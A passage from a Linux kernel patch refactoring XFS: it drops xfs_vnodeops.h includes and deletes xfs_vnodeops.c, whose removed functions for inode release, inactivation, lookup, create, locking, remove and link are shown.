EAGAIN if op would block */ +#define XFS_ATTR_NOLOCK 0x04 /* Don't grab any conflicting locks */ +#define XFS_ATTR_NOACL 0x08 /* Don't call xfs_acl_chmod */ +#define XFS_ATTR_SYNC 0x10 /* synchronous operation required */ + +extern int xfs_setattr_nonsize(struct xfs_inode *ip, struct iattr *vap, + int flags); +extern int xfs_setattr_size(struct xfs_inode *ip, struct iattr *vap, int flags); + #endif /* __XFS_IOPS_H__ */ diff --git a/fs/xfs/xfs_rename.c b/fs/xfs/xfs_rename.c index 68cb725..c15c6c5 100644 --- a/fs/xfs/xfs_rename.c +++ b/fs/xfs/xfs_rename.c @@ -36,7 +36,6 @@ #include "xfs_quota.h" #include "xfs_utils.h" #include "xfs_trans_space.h" -#include "xfs_vnodeops.h" #include "xfs_trace.h" diff --git a/fs/xfs/xfs_super.c b/fs/xfs/xfs_super.c index 7d57560..980ecab 100644 --- a/fs/xfs/xfs_super.c +++ b/fs/xfs/xfs_super.c @@ -41,7 +41,6 @@ #include "xfs_attr.h" #include "xfs_buf_item.h" #include "xfs_utils.h" -#include "xfs_vnodeops.h" #include "xfs_log_priv.h" #include "xfs_trans_priv.h" #include "xfs_filestream.h" diff --git a/fs/xfs/xfs_vnodeops.c b/fs/xfs/xfs_vnodeops.c deleted file mode 100644 index dc81a8d..0000000 --- a/fs/xfs/xfs_vnodeops.c +++ /dev/null @@ -1,1872 +0,0 @@ -/* - * Copyright (c) 2000-2006 Silicon Graphics, Inc. - * Copyright (c) 2012 Red Hat, Inc. - * All Rights Reserved. - * - * This program is free software; you can redistribute it and/or - * modify it under the terms of the GNU General Public License as - * published by the Free Software Foundation. - * - * This program is distributed in the hope that it would be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this program; if not, write the Free Software Foundation, - * Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA - */ - -#include "xfs.h" -#include "xfs_fs.h" -#include "xfs_format.h" -#include "xfs_bit.h" -#include "xfs_log.h" -#include "xfs_trans.h" -#include "xfs_sb.h" -#include "xfs_ag.h" -#include "xfs_mount.h" -#include "xfs_da_btree.h" -#include "xfs_dir2_format.h" -#include "xfs_dir2.h" -#include "xfs_bmap_btree.h" -#include "xfs_ialloc_btree.h" -#include "xfs_dinode.h" -#include "xfs_inode.h" -#include "xfs_inode_item.h" -#include "xfs_itable.h" -#include "xfs_ialloc.h" -#include "xfs_alloc.h" -#include "xfs_bmap.h" -#include "xfs_bmap_util.h" -#include "xfs_acl.h" -#include "xfs_attr.h" -#include "xfs_error.h" -#include "xfs_quota.h" -#include "xfs_utils.h" -#include "xfs_rtalloc.h" -#include "xfs_trans_space.h" -#include "xfs_log_priv.h" -#include "xfs_filestream.h" -#include "xfs_vnodeops.h" -#include "xfs_trace.h" -#include "xfs_icache.h" -#include "xfs_symlink.h" - - -/* - * This is called by xfs_inactive to free any blocks beyond eof - * when the link count isn't zero and by xfs_dm_punch_hole() when - * punching a hole to EOF. - */ -int -xfs_free_eofblocks( - xfs_mount_t *mp, - xfs_inode_t *ip, - bool need_iolock) -{ - xfs_trans_t *tp; - int error; - xfs_fileoff_t end_fsb; - xfs_fileoff_t last_fsb; - xfs_filblks_t map_len; - int nimaps; - xfs_bmbt_irec_t imap; - - /* - * Figure out if there are any blocks beyond the end - * of the file. If not, then there is nothing to do. - */ - end_fsb = XFS_B_TO_FSB(mp, (xfs_ufsize_t)XFS_ISIZE(ip)); - last_fsb = XFS_B_TO_FSB(mp, mp->m_super->s_maxbytes); - if (last_fsb <= end_fsb) - return 0; - map_len = last_fsb - end_fsb; - - nimaps = 1; - xfs_ilock(ip, XFS_ILOCK_SHARED); - error = xfs_bmapi_read(ip, end_fsb, map_len, &imap, &nimaps, 0); - xfs_iunlock(ip, XFS_ILOCK_SHARED); - - if (!error && (nimaps != 0) && - (imap.br_startblock != HOLESTARTBLOCK || - ip->i_delayed_blks)) { - /* - * Attach the dquots to the inode up front. - */ - error = xfs_qm_dqattach(ip, 0); - if (error) - return error; - - /* - * There are blocks after the end of file. - * Free them up now by truncating the file to - * its current size. - */ - tp = xfs_trans_alloc(mp, XFS_TRANS_INACTIVE); - - if (need_iolock) { - if (!xfs_ilock_nowait(ip, XFS_IOLOCK_EXCL)) { - xfs_trans_cancel(tp, 0); - return EAGAIN; - } - } - - error = xfs_trans_reserve(tp, 0, - XFS_ITRUNCATE_LOG_RES(mp), - 0, XFS_TRANS_PERM_LOG_RES, - XFS_ITRUNCATE_LOG_COUNT); - if (error) { - ASSERT(XFS_FORCED_SHUTDOWN(mp)); - xfs_trans_cancel(tp, 0); - if (need_iolock) - xfs_iunlock(ip, XFS_IOLOCK_EXCL); - return error; - } - - xfs_ilock(ip, XFS_ILOCK_EXCL); - xfs_trans_ijoin(tp, ip, 0); - - /* - * Do not update the on-disk file size. If we update the - * on-disk file size and then the system crashes before the - * contents of the file are flushed to disk then the files - * may be full of holes (ie NULL files bug). - */ - error = xfs_itruncate_extents(&tp, ip, XFS_DATA_FORK, - XFS_ISIZE(ip)); - if (error) { - /* - * If we get an error at this point we simply don't - * bother truncating the file. - */ - xfs_trans_cancel(tp, - (XFS_TRANS_RELEASE_LOG_RES | - XFS_TRANS_ABORT)); - } else { - error = xfs_trans_commit(tp, - XFS_TRANS_RELEASE_LOG_RES); - if (!error) - xfs_inode_clear_eofblocks_tag(ip); - } - - xfs_iunlock(ip, XFS_ILOCK_EXCL); - if (need_iolock) - xfs_iunlock(ip, XFS_IOLOCK_EXCL); - } - return error; -} - -int -xfs_release( - xfs_inode_t *ip) -{ - xfs_mount_t *mp = ip->i_mount; - int error; - - if (!S_ISREG(ip->i_d.di_mode) || (ip->i_d.di_mode == 0)) - return 0; - - /* If this is a read-only mount, don't do this (would generate I/O) */ - if (mp->m_flags & XFS_MOUNT_RDONLY) - return 0; - - if (!XFS_FORCED_SHUTDOWN(mp)) { - int truncated; - - /* - * If we are using filestreams, and we have an unlinked - * file that we are processing the last close on, then nothing - * will be able to reopen and write to this file. Purge this - * inode from the filestreams cache so that it doesn't delay - * teardown of the inode. - */ - if ((ip->i_d.di_nlink == 0) && xfs_inode_is_filestream(ip)) - xfs_filestream_deassociate(ip); - - /* - * If we previously truncated this file and removed old data - * in the process, we want to initiate "early" writeout on - * the last close. This is an attempt to combat the notorious - * NULL files problem which is particularly noticeable from a - * truncate down, buffered (re-)write (delalloc), followed by - * a crash. What we are effectively doing here is - * significantly reducing the time window where we'd otherwise - * be exposed to that problem. - */ - truncated = xfs_iflags_test_and_clear(ip, XFS_ITRUNCATED); - if (truncated) { - xfs_iflags_clear(ip, XFS_IDIRTY_RELEASE); - if (VN_DIRTY(VFS_I(ip)) && ip->i_delayed_blks > 0) { - error = -filemap_flush(VFS_I(ip)->i_mapping); - if (error) - return error; - } - } - } - - if (ip->i_d.di_nlink == 0) - return 0; - - if (xfs_can_free_eofblocks(ip, false)) { - - /* - * If we can't get the iolock just skip truncating the blocks - * past EOF because we could deadlock with the mmap_sem - * otherwise. We'll get another chance to drop them once the - * last reference to the inode is dropped, so we'll never leak - * blocks permanently. - * - * Further, check if the inode is being opened, written and - * closed frequently and we have delayed allocation blocks - * outstanding (e.g. streaming writes from the NFS server), - * truncating the blocks past EOF will cause fragmentation to - * occur. - * - * In this case don't do the truncation, either, but we have to - * be careful how we detect this case. Blocks beyond EOF show - * up as i_delayed_blks even when the inode is clean, so we - * need to truncate them away first before checking for a dirty - * release. Hence on the first dirty close we will still remove - * the speculative allocation, but after that we will leave it - * in place. - */ - if (xfs_iflags_test(ip, XFS_IDIRTY_RELEASE)) - return 0; - - error = xfs_free_eofblocks(mp, ip, true); - if (error && error != EAGAIN) - return error; - - /* delalloc blocks after truncation means it really is dirty */ - if (ip->i_delayed_blks) - xfs_iflags_set(ip, XFS_IDIRTY_RELEASE); - } - return 0; -} - -/* - * xfs_inactive - * - * This is called when the vnode reference count for the vnode - * goes to zero. If the file has been unlinked, then it must - * now be truncated. Also, we clear all of the read-ahead state - * kept for the inode here since the file is now closed. - */ -int -xfs_inactive( - xfs_inode_t *ip) -{ - xfs_bmap_free_t free_list; - xfs_fsblock_t first_block; - int committed; - xfs_trans_t *tp; - xfs_mount_t *mp; - int error; - int truncate = 0; - - /* - * If the inode is already free, then there can be nothing - * to clean up here. - */ - if (ip->i_d.di_mode == 0 || is_bad_inode(VFS_I(ip))) { - ASSERT(ip->i_df.if_real_bytes == 0); - ASSERT(ip->i_df.if_broot_bytes == 0); - return VN_INACTIVE_CACHE; - } - - mp = ip->i_mount; - - error = 0; - - /* If this is a read-only mount, don't do this (would generate I/O) */ - if (mp->m_flags & XFS_MOUNT_RDONLY) - goto out; - - if (ip->i_d.di_nlink != 0) { - /* - * force is true because we are evicting an inode from the - * cache. Post-eof blocks must be freed, lest we end up with - * broken free space accounting. - */ - if (xfs_can_free_eofblocks(ip, true)) { - error = xfs_free_eofblocks(mp, ip, false); - if (error) - return VN_INACTIVE_CACHE; - } - goto out; - } - - if (S_ISREG(ip->i_d.di_mode) && - (ip->i_d.di_size != 0 || XFS_ISIZE(ip) != 0 || - ip->i_d.di_nextents > 0 || ip->i_delayed_blks > 0)) - truncate = 1; - - error = xfs_qm_dqattach(ip, 0); - if (error) - return VN_INACTIVE_CACHE; - - tp = xfs_trans_alloc(mp, XFS_TRANS_INACTIVE); - error = xfs_trans_reserve(tp, 0, - (truncate || S_ISLNK(ip->i_d.di_mode)) ? - XFS_ITRUNCATE_LOG_RES(mp) : - XFS_IFREE_LOG_RES(mp), - 0, - XFS_TRANS_PERM_LOG_RES, - XFS_ITRUNCATE_LOG_COUNT); - if (error) { - ASSERT(XFS_FORCED_SHUTDOWN(mp)); - xfs_trans_cancel(tp, 0); - return VN_INACTIVE_CACHE; - } - - xfs_ilock(ip, XFS_ILOCK_EXCL); - xfs_trans_ijoin(tp, ip, 0); - - if (S_ISLNK(ip->i_d.di_mode)) { - error = xfs_inactive_symlink(ip, &tp); - if (error) - goto out_cancel; - } else if (truncate) { - ip->i_d.di_size = 0; - xfs_trans_log_inode(tp, ip, XFS_ILOG_CORE); - - error = xfs_itruncate_extents(&tp, ip, XFS_DATA_FORK, 0); - if (error) - goto out_cancel; - - ASSERT(ip->i_d.di_nextents == 0); - } - - /* - * If there are attributes associated with the file then blow them away - * now. The code calls a routine that recursively deconstructs the - * attribute fork. We need to just commit the current transaction - * because we can't use it for xfs_attr_inactive(). - */ - if (ip->i_d.di_anextents > 0) { - ASSERT(ip->i_d.di_forkoff != 0); - - error = xfs_trans_commit(tp, XFS_TRANS_RELEASE_LOG_RES); - if (error) - goto out_unlock; - - xfs_iunlock(ip, XFS_ILOCK_EXCL); - - error = xfs_attr_inactive(ip); - if (error) - goto out; - - tp = xfs_trans_alloc(mp, XFS_TRANS_INACTIVE); - error = xfs_trans_reserve(tp, 0, - XFS_IFREE_LOG_RES(mp), - 0, XFS_TRANS_PERM_LOG_RES, - XFS_INACTIVE_LOG_COUNT); - if (error) { - xfs_trans_cancel(tp, 0); - goto out; - } - - xfs_ilock(ip, XFS_ILOCK_EXCL); - xfs_trans_ijoin(tp, ip, 0); - } - - if (ip->i_afp) - xfs_idestroy_fork(ip, XFS_ATTR_FORK); - - ASSERT(ip->i_d.di_anextents == 0); - - /* - * Free the inode. - */ - xfs_bmap_init(&free_list, &first_block); - error = xfs_ifree(tp, ip, &free_list); - if (error) { - /* - * If we fail to free the inode, shut down. The cancel - * might do that, we need to make sure. Otherwise the - * inode might be lost for a long time or forever. - */ - if (!XFS_FORCED_SHUTDOWN(mp)) { - xfs_notice(mp, "%s: xfs_ifree returned error %d", - __func__, error); - xfs_force_shutdown(mp, SHUTDOWN_META_IO_ERROR); - } - xfs_trans_cancel(tp, XFS_TRANS_RELEASE_LOG_RES|XFS_TRANS_ABORT); - } else { - /* - * Credit the quota account(s). The inode is gone. - */ - xfs_trans_mod_dquot_byino(tp, ip, XFS_TRANS_DQ_ICOUNT, -1); - - /* - * Just ignore errors at this point. There is nothing we can - * do except to try to keep going. Make sure it's not a silent - * error. - */ - error = xfs_bmap_finish(&tp, &free_list, &committed); - if (error) - xfs_notice(mp, "%s: xfs_bmap_finish returned error %d", - __func__, error); - error = xfs_trans_commit(tp, XFS_TRANS_RELEASE_LOG_RES); - if (error) - xfs_notice(mp, "%s: xfs_trans_commit returned error %d", - __func__, error); - } - - /* - * Release the dquots held by inode, if any. - */ - xfs_qm_dqdetach(ip); -out_unlock: - xfs_iunlock(ip, XFS_ILOCK_EXCL); -out: - return VN_INACTIVE_CACHE; -out_cancel: - xfs_trans_cancel(tp, XFS_TRANS_RELEASE_LOG_RES | XFS_TRANS_ABORT); - goto out_unlock; -} - -/* - * Lookups up an inode from "name". If ci_name is not NULL, then a CI match - * is allowed, otherwise it has to be an exact match. If a CI match is found, - * ci_name->name will point to a the actual name (caller must free) or - * will be set to NULL if an exact match is found. - */ -int -xfs_lookup( - xfs_inode_t *dp, - struct xfs_name *name, - xfs_inode_t **ipp, - struct xfs_name *ci_name) -{ - xfs_ino_t inum; - int error; - uint lock_mode; - - trace_xfs_lookup(dp, name); - - if (XFS_FORCED_SHUTDOWN(dp->i_mount)) - return XFS_ERROR(EIO); - - lock_mode = xfs_ilock_map_shared(dp); - error = xfs_dir_lookup(NULL, dp, name, &inum, ci_name); - xfs_iunlock_map_shared(dp, lock_mode); - - if (error) - goto out; - - error = xfs_iget(dp->i_mount, NULL, inum, 0, 0, ipp); - if (error) - goto out_free_name; - - return 0; - -out_free_name: - if (ci_name) - kmem_free(ci_name->name); -out: - *ipp = NULL; - return error; -} - -int -xfs_create( - xfs_inode_t *dp, - struct xfs_name *name, - umode_t mode, - xfs_dev_t rdev, - xfs_inode_t **ipp) -{ - int is_dir = S_ISDIR(mode); - struct xfs_mount *mp = dp->i_mount; - struct xfs_inode *ip = NULL; - struct xfs_trans *tp = NULL; - int error; - xfs_bmap_free_t free_list; - xfs_fsblock_t first_block; - bool unlock_dp_on_error = false; - uint cancel_flags; - int committed; - prid_t prid; - struct xfs_dquot *udqp = NULL; - struct xfs_dquot *gdqp = NULL; - struct xfs_dquot *pdqp = NULL; - uint resblks; - uint log_res; - uint log_count; - - trace_xfs_create(dp, name); - - if (XFS_FORCED_SHUTDOWN(mp)) - return XFS_ERROR(EIO); - - if (dp->i_d.di_flags & XFS_DIFLAG_PROJINHERIT) - prid = xfs_get_projid(dp); - else - prid = XFS_PROJID_DEFAULT; - - /* - * Make sure that we have allocated dquot(s) on disk. - */ - error = xfs_qm_vop_dqalloc(dp, current_fsuid(), current_fsgid(), prid, - XFS_QMOPT_QUOTALL | XFS_QMOPT_INHERIT, - &udqp, &gdqp, &pdqp); - if (error) - return error; - - if (is_dir) { - rdev = 0; - resblks = XFS_MKDIR_SPACE_RES(mp, name->len); - log_res = XFS_MKDIR_LOG_RES(mp); - log_count = XFS_MKDIR_LOG_COUNT; - tp = xfs_trans_alloc(mp, XFS_TRANS_MKDIR); - } else { - resblks = XFS_CREATE_SPACE_RES(mp, name->len); - log_res = XFS_CREATE_LOG_RES(mp); - log_count = XFS_CREATE_LOG_COUNT; - tp = xfs_trans_alloc(mp, XFS_TRANS_CREATE); - } - - cancel_flags = XFS_TRANS_RELEASE_LOG_RES; - - /* - * Initially assume that the file does not exist and - * reserve the resources for that case. If that is not - * the case we'll drop the one we have and get a more - * appropriate transaction later. - */ - error = xfs_trans_reserve(tp, resblks, log_res, 0, - XFS_TRANS_PERM_LOG_RES, log_count); - if (error == ENOSPC) { - /* flush outstanding delalloc blocks and retry */ - xfs_flush_inodes(mp); - error = xfs_trans_reserve(tp, resblks, log_res, 0, - XFS_TRANS_PERM_LOG_RES, log_count); - } - if (error == ENOSPC) { - /* No space at all so try a "no-allocation" reservation */ - resblks = 0; - error = xfs_trans_reserve(tp, 0, log_res, 0, - XFS_TRANS_PERM_LOG_RES, log_count); - } - if (error) { - cancel_flags = 0; - goto out_trans_cancel; - } - - xfs_ilock(dp, XFS_ILOCK_EXCL | XFS_ILOCK_PARENT); - unlock_dp_on_error = true; - - xfs_bmap_init(&free_list, &first_block); - - /* - * Reserve disk quota and the inode. - */ - error = xfs_trans_reserve_quota(tp, mp, udqp, gdqp, - pdqp, resblks, 1, 0); - if (error) - goto out_trans_cancel; - - error = xfs_dir_canenter(tp, dp, name, resblks); - if (error) - goto out_trans_cancel; - - /* - * A newly created regular or special file just has one directory - * entry pointing to them, but a directory also the "." entry - * pointing to itself. - */ - error = xfs_dir_ialloc(&tp, dp, mode, is_dir ? 2 : 1, rdev, - prid, resblks > 0, &ip, &committed); - if (error) { - if (error == ENOSPC) - goto out_trans_cancel; - goto out_trans_abort; - } - - /* - * Now we join the directory inode to the transaction. We do not do it - * earlier because xfs_dir_ialloc might commit the previous transaction - * (and release all the locks). An error from here on will result in - * the transaction cancel unlocking dp so don't do it explicitly in the - * error path. - */ - xfs_trans_ijoin(tp, dp, XFS_ILOCK_EXCL); - unlock_dp_on_error = false; - - error = xfs_dir_createname(tp, dp, name, ip->i_ino, - &first_block, &free_list, resblks ? - resblks - XFS_IALLOC_SPACE_RES(mp) : 0); - if (error) { - ASSERT(error != ENOSPC); - goto out_trans_abort; - } - xfs_trans_ichgtime(tp, dp, XFS_ICHGTIME_MOD | XFS_ICHGTIME_CHG); - xfs_trans_log_inode(tp, dp, XFS_ILOG_CORE); - - if (is_dir) { - error = xfs_dir_init(tp, ip, dp); - if (error) - goto out_bmap_cancel; - - error = xfs_bumplink(tp, dp); - if (error) - goto out_bmap_cancel; - } - - /* - * If this is a synchronous mount, make sure that the - * create transaction goes to disk before returning to - * the user. - */ - if (mp->m_flags & (XFS_MOUNT_WSYNC|XFS_MOUNT_DIRSYNC)) - xfs_trans_set_sync(tp); - - /* - * Attach the dquot(s) to the inodes and modify them incore. - * These ids of the inode couldn't have changed since the new - * inode has been locked ever since it was created. - */ - xfs_qm_vop_create_dqattach(tp, ip, udqp, gdqp, pdqp); - - error = xfs_bmap_finish(&tp, &free_list, &committed); - if (error) - goto out_bmap_cancel; - - error = xfs_trans_commit(tp, XFS_TRANS_RELEASE_LOG_RES); - if (error) - goto out_release_inode; - - xfs_qm_dqrele(udqp); - xfs_qm_dqrele(gdqp); - xfs_qm_dqrele(pdqp); - - *ipp = ip; - return 0; - - out_bmap_cancel: - xfs_bmap_cancel(&free_list); - out_trans_abort: - cancel_flags |= XFS_TRANS_ABORT; - out_trans_cancel: - xfs_trans_cancel(tp, cancel_flags); - out_release_inode: - /* - * Wait until after the current transaction is aborted to - * release the inode. This prevents recursive transactions - * and deadlocks from xfs_inactive. - */ - if (ip) - IRELE(ip); - - xfs_qm_dqrele(udqp); - xfs_qm_dqrele(gdqp); - xfs_qm_dqrele(pdqp); - - if (unlock_dp_on_error) - xfs_iunlock(dp, XFS_ILOCK_EXCL); - return error; -} - -#ifdef DEBUG -int xfs_locked_n; -int xfs_small_retries; -int xfs_middle_retries; -int xfs_lots_retries; -int xfs_lock_delays; -#endif - -/* - * Bump the subclass so xfs_lock_inodes() acquires each lock with - * a different value - */ -static inline int -xfs_lock_inumorder(int lock_mode, int subclass) -{ - if (lock_mode & (XFS_IOLOCK_SHARED|XFS_IOLOCK_EXCL)) - lock_mode |= (subclass + XFS_LOCK_INUMORDER) << XFS_IOLOCK_SHIFT; - if (lock_mode & (XFS_ILOCK_SHARED|XFS_ILOCK_EXCL)) - lock_mode |= (subclass + XFS_LOCK_INUMORDER) << XFS_ILOCK_SHIFT; - - return lock_mode; -} - -/* - * The following routine will lock n inodes in exclusive mode. - * We assume the caller calls us with the inodes in i_ino order. - * - * We need to detect deadlock where an inode that we lock - * is in the AIL and we start waiting for another inode that is locked - * by a thread in a long running transaction (such as truncate). This can - * result in deadlock since the long running trans might need to wait - * for the inode we just locked in order to push the tail and free space - * in the log. - */ -void -xfs_lock_inodes( - xfs_inode_t **ips, - int inodes, - uint lock_mode) -{ - int attempts = 0, i, j, try_lock; - xfs_log_item_t *lp; - - ASSERT(ips && (inodes >= 2)); /* we need at least two */ - - try_lock = 0; - i = 0; - -again: - for (; i < inodes; i++) { - ASSERT(ips[i]); - - if (i && (ips[i] == ips[i-1])) /* Already locked */ - continue; - - /* - * If try_lock is not set yet, make sure all locked inodes - * are not in the AIL. - * If any are, set try_lock to be used later. - */ - - if (!try_lock) { - for (j = (i - 1); j >= 0 && !try_lock; j--) { - lp = (xfs_log_item_t *)ips[j]->i_itemp; - if (lp && (lp->li_flags & XFS_LI_IN_AIL)) { - try_lock++; - } - } - } - - /* - * If any of the previous locks we have locked is in the AIL, - * we must TRY to get the second and subsequent locks. If - * we can't get any, we must release all we have - * and try again. - */ - - if (try_lock) { - /* try_lock must be 0 if i is 0. */ - /* - * try_lock means we have an inode locked - * that is in the AIL. - */ - ASSERT(i != 0); - if (!xfs_ilock_nowait(ips[i], xfs_lock_inumorder(lock_mode, i))) { - attempts++; - - /* - * Unlock all previous guys and try again. - * xfs_iunlock will try to push the tail - * if the inode is in the AIL. - */ - - for(j = i - 1; j >= 0; j--) { - - /* - * Check to see if we've already - * unlocked this one. - * Not the first one going back, - * and the inode ptr is the same. - */ - if ((j != (i - 1)) && ips[j] == - ips[j+1]) - continue; - - xfs_iunlock(ips[j], lock_mode); - } - - if ((attempts % 5) == 0) { - delay(1); /* Don't just spin the CPU */ -#ifdef DEBUG - xfs_lock_delays++; -#endif - } - i = 0; - try_lock = 0; - goto again; - } - } else { - xfs_ilock(ips[i], xfs_lock_inumorder(lock_mode, i)); - } - } - -#ifdef DEBUG - if (attempts) { - if (attempts < 5) xfs_small_retries++; - else if (attempts < 100) xfs_middle_retries++; - else xfs_lots_retries++; - } else { - xfs_locked_n++; - } -#endif -} - -/* - * xfs_lock_two_inodes() can only be used to lock one type of lock - * at a time - the iolock or the ilock, but not both at once. If - * we lock both at once, lockdep will report false positives saying - * we have violated locking orders. - */ -void -xfs_lock_two_inodes( - xfs_inode_t *ip0, - xfs_inode_t *ip1, - uint lock_mode) -{ - xfs_inode_t *temp; - int attempts = 0; - xfs_log_item_t *lp; - - if (lock_mode & (XFS_IOLOCK_SHARED|XFS_IOLOCK_EXCL)) - ASSERT((lock_mode & (XFS_ILOCK_SHARED|XFS_ILOCK_EXCL)) == 0); - ASSERT(ip0->i_ino != ip1->i_ino); - - if (ip0->i_ino > ip1->i_ino) { - temp = ip0; - ip0 = ip1; - ip1 = temp; - } - - again: - xfs_ilock(ip0, xfs_lock_inumorder(lock_mode, 0)); - - /* - * If the first lock we have locked is in the AIL, we must TRY to get - * the second lock. If we can't get it, we must release the first one - * and try again. - */ - lp = (xfs_log_item_t *)ip0->i_itemp; - if (lp && (lp->li_flags & XFS_LI_IN_AIL)) { - if (!xfs_ilock_nowait(ip1, xfs_lock_inumorder(lock_mode, 1))) { - xfs_iunlock(ip0, lock_mode); - if ((++attempts % 5) == 0) - delay(1); /* Don't just spin the CPU */ - goto again; - } - } else { - xfs_ilock(ip1, xfs_lock_inumorder(lock_mode, 1)); - } -} - -int -xfs_remove( - xfs_inode_t *dp, - struct xfs_name *name, - xfs_inode_t *ip) -{ - xfs_mount_t *mp = dp->i_mount; - xfs_trans_t *tp = NULL; - int is_dir = S_ISDIR(ip->i_d.di_mode); - int error = 0; - xfs_bmap_free_t free_list; - xfs_fsblock_t first_block; - int cancel_flags; - int committed; - int link_zero; - uint resblks; - uint log_count; - - trace_xfs_remove(dp, name); - - if (XFS_FORCED_SHUTDOWN(mp)) - return XFS_ERROR(EIO); - - error = xfs_qm_dqattach(dp, 0); - if (error) - goto std_return; - - error = xfs_qm_dqattach(ip, 0); - if (error) - goto std_return; - - if (is_dir) { - tp = xfs_trans_alloc(mp, XFS_TRANS_RMDIR); - log_count = XFS_DEFAULT_LOG_COUNT; - } else { - tp = xfs_trans_alloc(mp, XFS_TRANS_REMOVE); - log_count = XFS_REMOVE_LOG_COUNT; - } - cancel_flags = XFS_TRANS_RELEASE_LOG_RES; - - /* - * We try to get the real space reservation first, - * allowing for directory btree deletion(s) implying - * possible bmap insert(s). If we can't get the space - * reservation then we use 0 instead, and avoid the bmap - * btree insert(s) in the directory code by, if the bmap - * insert tries to happen, instead trimming the LAST - * block from the directory. - */ - resblks = XFS_REMOVE_SPACE_RES(mp); - error = xfs_trans_reserve(tp, resblks, XFS_REMOVE_LOG_RES(mp), 0, - XFS_TRANS_PERM_LOG_RES, log_count); - if (error == ENOSPC) { - resblks = 0; - error = xfs_trans_reserve(tp, 0, XFS_REMOVE_LOG_RES(mp), 0, - XFS_TRANS_PERM_LOG_RES, log_count); - } - if (error) { - ASSERT(error != ENOSPC); - cancel_flags = 0; - goto out_trans_cancel; - } - - xfs_lock_two_inodes(dp, ip, XFS_ILOCK_EXCL); - - xfs_trans_ijoin(tp, dp, XFS_ILOCK_EXCL); - xfs_trans_ijoin(tp, ip, XFS_ILOCK_EXCL); - - /* - * If we're removing a directory perform some additional validation. - */ - if (is_dir) { - ASSERT(ip->i_d.di_nlink >= 2); - if (ip->i_d.di_nlink != 2) { - error = XFS_ERROR(ENOTEMPTY); - goto out_trans_cancel; - } - if (!xfs_dir_isempty(ip)) { - error = XFS_ERROR(ENOTEMPTY); - goto out_trans_cancel; - } - } - - xfs_bmap_init(&free_list, &first_block); - error = xfs_dir_removename(tp, dp, name, ip->i_ino, - &first_block, &free_list, resblks); - if (error) { - ASSERT(error != ENOENT); - goto out_bmap_cancel; - } - xfs_trans_ichgtime(tp, dp, XFS_ICHGTIME_MOD | XFS_ICHGTIME_CHG); - - if (is_dir) { - /* - * Drop the link from ip's "..". - */ - error = xfs_droplink(tp, dp); - if (error) - goto out_bmap_cancel; - - /* - * Drop the "." link from ip to self. - */ - error = xfs_droplink(tp, ip); - if (error) - goto out_bmap_cancel; - } else { - /* - * When removing a non-directory we need to log the parent - * inode here. For a directory this is done implicitly - * by the xfs_droplink call for the ".." entry. - */ - xfs_trans_log_inode(tp, dp, XFS_ILOG_CORE); - } - - /* - * Drop the link from dp to ip. - */ - error = xfs_droplink(tp, ip); - if (error) - goto out_bmap_cancel; - - /* - * Determine if this is the last link while - * we are in the transaction. - */ - link_zero = (ip->i_d.di_nlink == 0); - - /* - * If this is a synchronous mount, make sure that the - * remove transaction goes to disk before returning to - * the user. - */ - if (mp->m_flags & (XFS_MOUNT_WSYNC|XFS_MOUNT_DIRSYNC)) - xfs_trans_set_sync(tp); - - error = xfs_bmap_finish(&tp, &free_list, &committed); - if (error) - goto out_bmap_cancel; - - error = xfs_trans_commit(tp, XFS_TRANS_RELEASE_LOG_RES); - if (error) - goto std_return; - - /* - * If we are using filestreams, kill the stream association. - * If the file is still open it may get a new one but that - * will get killed on last close in xfs_close() so we don't - * have to worry about that. - */ - if (!is_dir && link_zero && xfs_inode_is_filestream(ip)) - xfs_filestream_deassociate(ip); - - return 0; - - out_bmap_cancel: - xfs_bmap_cancel(&free_list); - cancel_flags |= XFS_TRANS_ABORT; - out_trans_cancel: - xfs_trans_cancel(tp, cancel_flags); - std_return: - return error; -} - -int -xfs_link( - xfs_inode_t *tdp, - xfs_inode_t *sip, - struct xfs_name *target_name) -{ - xfs_mount_t *mp = tdp->i_mount; - xfs_trans_t *tp; - int error; - xfs_bmap_free_t free_list; - xfs_fsblock_t first_block; - int cancel_flags; - int committed; - int resblks; - - trace_xfs_link(tdp, target_name); - - ASSERT(!S_ISDIR(sip->i_d.di_mode)); - - if (XFS_FORCED_SHUTDOWN(mp)) - return XFS_ERROR(EIO); - - error = xfs_qm_dqattach(sip, 0); - if (error) - goto std_return; - - error = xfs_qm_dqattach(tdp, 0); - if (error) - goto std_return; - - tp = xfs_trans_alloc(mp, XFS_TRANS_LINK); - cancel_flags = XFS_TRANS_RELEASE_LOG_RES; - resblks = XFS_LINK_SPACE_RES(mp, target_name->len); - error = xfs_trans_reserve(tp, resblks, XFS_LINK_LOG_RES(mp), 0, - XFS_TRANS_PERM_LOG_RES, XFS_LINK_LOG_COUNT); - if (error == ENOSPC) { - resblks = 0; - error = xfs_trans_reserve(tp, 0, XFS_LINK_LOG_RES(mp), 0, - XFS_TRANS_PERM_LOG_RES, XFS_LINK_LOG_COUNT); - } - if (error) { - cancel_flags = 0; - goto error_return; - } - - xfs_lock_two_inodes(sip, tdp, XFS_ILOCK_EXCL); - - xfs_trans_ijoin(tp, sip, XFS_ILOCK_EXCL); - xfs_trans_ijoin(tp, tdp, XFS_ILOCK_EXCL); - - /* - * If we are using project inheritance, we only allow hard link - * creation in our tree when the project IDs are the same; else - * the tree quota mechanism could be circumvented. - */ - if (unlikely((tdp->i_d.di_flags & XFS_DIFLAG_PROJINHERIT) && - (xfs_get_projid(tdp) != xfs_get_projid(sip)))) { - error = XFS_ERROR(EXDEV); - goto error_return; - } - - error = xfs_dir_canenter(tp, tdp, target_name, resblks); - if (error) - goto error_return; - - xfs_bmap_init(&free_list, &first_block); - - error = xfs_dir_createname(tp, tdp, target_name, sip->i_ino, - &first_block, &free_list, resblks); - if (error) - goto abort_return; - xfs_trans_ichgtime(tp, tdp, XFS_ICHGTIME_MOD | XFS_ICHGTIME_CHG); - xfs_trans_log_inode(tp, tdp, XFS_ILOG_CORE); - - error = xfs_bumplink(tp, sip); - if (error) - goto abort_return; - - /* - * If this is a synchronous mount, make sure that the - * link transaction goes to disk before returning to - * the user. - */ - if (mp->m_flags & (XFS_MOUNT_WSYNC|XFS_MOUNT_DIRSYNC)) { - xfs_trans_set_sync(tp); - } - - error = xfs_bmap_finish (&tp, &free_list, &committed); - if (error) { - xfs_bmap_cancel(&free_list); - goto abort_return; - } - - return xfs_trans_commit(tp, 